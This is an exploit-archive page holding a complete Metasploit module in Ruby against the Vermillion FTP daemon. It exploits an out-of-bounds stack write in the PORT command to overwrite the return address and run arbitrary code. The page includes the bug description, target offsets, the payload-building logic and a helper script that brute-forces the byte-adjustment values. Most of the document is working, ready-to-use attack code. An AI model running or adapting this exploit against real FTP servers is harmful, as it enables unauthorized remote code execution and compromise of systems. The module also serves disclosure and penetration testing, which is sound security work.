exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Vermillion FTP Daemon PORT Command Memory Corruption

Vermillion FTP Daemon PORT Command Memory Corruption
Posted Feb 10, 2010
Authored by jduck | Site metasploit.com

This Metasploit module exploits an out-of-bounds array access in the Arcane Software Vermillion FTP server. By sending an specially crafted FTP PORT command, an attacker can corrupt stack memory and execute arbitrary code. This particular issue is caused by processing data bound by attacker controlled input while writing into a 4 byte stack buffer. Unfortunately, the writing that occurs is not a simple byte copy. Processing is done using a source ptr (p) and a destination pointer (q). The vulnerable function walks the input string and continues while the source byte is non-null. If a comma is encountered, the function increments the the destination pointer. If an ascii digit [0-9] is encountered, the following occurs: *q = (*q * 10) + (*p - '0'); All other input characters are ignored in this loop. As a consequence, an attacker must craft input such that modifications to the current values on the stack result in usable values. In this exploit, the low two bytes of the return address are adjusted to point at the location of a 'call edi' instruction within the binary. This was chosen since 'edi' points at the source buffer when the function returns. NOTE: This server can be installed as a service using "vftpd.exe install". If so, the service does not restart automatically, giving an attacker only one attempt.

tags | exploit, arbitrary
SHA-256 | 6c3e569f4a96d6f26bcfe8754e396fc55a9c9d42d38c9300f94855b2dbd501fb

Vermillion FTP Daemon PORT Command Memory Corruption

Change Mirror Download
##
# $Id: vermillion_ftpd_port.rb 8410 2010-02-08 18:53:21Z swtornio $
##


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'Vermillion FTP Daemon PORT Command Memory Corruption',
'Description' => %q{
This module exploits an out-of-bounds array access in the Arcane Software
Vermillion FTP server. By sending an specially crafted FTP PORT command,
an attacker can corrupt stack memory and execute arbitrary code.

This particular issue is caused by processing data bound by attacker
controlled input while writing into a 4 byte stack buffer. Unfortunately,
the writing that occurs is not a simple byte copy.

Processing is done using a source ptr (p) and a destination pointer (q).
The vulnerable function walks the input string and continues while the
source byte is non-null. If a comma is encountered, the function increments
the the destination pointer. If an ascii digit [0-9] is encountered, the
following occurs:

*q = (*q * 10) + (*p - '0');

All other input characters are ignored in this loop.

As a consequence, an attacker must craft input such that modifications
to the current values on the stack result in usable values. In this exploit,
the low two bytes of the return address are adjusted to point at the
location of a 'call edi' instruction within the binary. This was chosen
since 'edi' points at the source buffer when the function returns.

NOTE: This server can be installed as a service using "vftpd.exe install".
If so, the service does not restart automatically, giving an attacker only
one attempt.
},
'Author' =>
[
'jduck'
],
'References' =>
[
[ 'OSVDB', '62163' ],
[ 'URL', 'http://www.exploit-db.com/exploits/11293' ],
[ 'URL', 'http://www.global-evolution.info/news/files/vftpd/vftpd.txt' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Privileged' => true,
'Payload' =>
{
# format string max length
'Space' => 1024,
'BadChars' => "\x00\x08\x0a\x0d\x2c\xff",
'DisableNops' => 'True'
},
'Platform' => 'win',
'Targets' =>
[
#
# Automatic targeting via fingerprinting
#
[ 'Automatic Targeting', { 'auto' => true } ],

#
# specific targets
#
[ 'vftpd 1.31 - Windows XP SP3 English',
{
'OldRet' => 0x405a73, # not used directly
'Ret' => 0x4058e3, # not used directly
# call edi in vftpd.exe (v1.31)
'Offset' => 16, # distance to saved return
'Adders' => "171,48" # adjust the bottom two bytes
}
]
],
'DisclosureDate' => 'Sep 23 2009',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(21),
], self.class )
end


def check
connect
disconnect
print_status("FTP Banner: #{banner}".strip)
if banner =~ /\(vftpd .*\)/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end


def exploit

# Use a copy of the target
mytarget = target

if (target['auto'])
mytarget = nil

print_status("Automatically detecting the target...")
connect
disconnect

if (banner and (m = banner.match(/\(vftpd (.*)\)/))) then
print_status("FTP Banner: #{banner.strip}")
version = m[1]
else
print_status("No matching target")
return
end

self.targets.each do |t|
if (t.name =~ /#{version} - /) then
mytarget = t
break
end
end

if (not mytarget)
print_status("No matching target")
return
end

print_status("Selected Target: #{mytarget.name}")
else
print_status("Trying target #{mytarget.name}...")
end


connect

stuff = payload.encoded
# skip 16 bytes
stuff << "," * mytarget['Offset']
# now we change the return address to be what we want
stuff << mytarget['Adders']

if (res = send_cmd(['PORT', stuff]))
print_status(res.strip)
end

disconnect
handler

end

end


=begin

NOTE: the following code was used to obtain the "Adders" target value.
I'm not extremely pleased with this solution, but I haven't come up with
a more elegant one...

=========================
#!/usr/bin/env ruby
#
# usage: ./find_adder.rb <old ret> <new ret>
# example: ./find_adder.rb 0x405a73 0x004058e3
#

$old_ret = ARGV.shift.to_i(16)
$new_ret = ARGV.shift.to_i(16)

oret = [$old_ret].pack('V').unpack('C*')
nret = [$new_ret].pack('V').unpack('C*')


def process_idx(oret, nret, adders, idx)
new_val = oret[idx]
digits = adders[idx].to_s.unpack('C*')
digits.each { |dig|
dig -= 0x30
new_val = (new_val * 10) + dig
}
return (new_val & 0xff)
end


# brute force approach!
final_adders = [ nil, nil, nil, nil ]

adders = []
4.times { |idx|
next if (oret[idx] == nret[idx])
10.times { |x|
10.times { |y|
10.times { |z|
adders[idx] = (x.to_s + y.to_s + z.to_s).to_i

val = process_idx(oret, nret, adders, idx)
if (val == nret[idx])
final_adders[idx] = adders[idx]
end

break if (final_adders[idx])
}
break if (final_adders[idx])
}
break if (final_adders[idx])
}
}


# check/print the solution
eret = []
4.times { |idx|
eret << process_idx(oret, nret, adders, idx)
}
final = eret.pack('C*').unpack('V')[0]
if (final == $new_ret)
puts final_adders.join(',')
exit(0)
end

puts "unable to find a valid solution!"
exit(1)

=end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close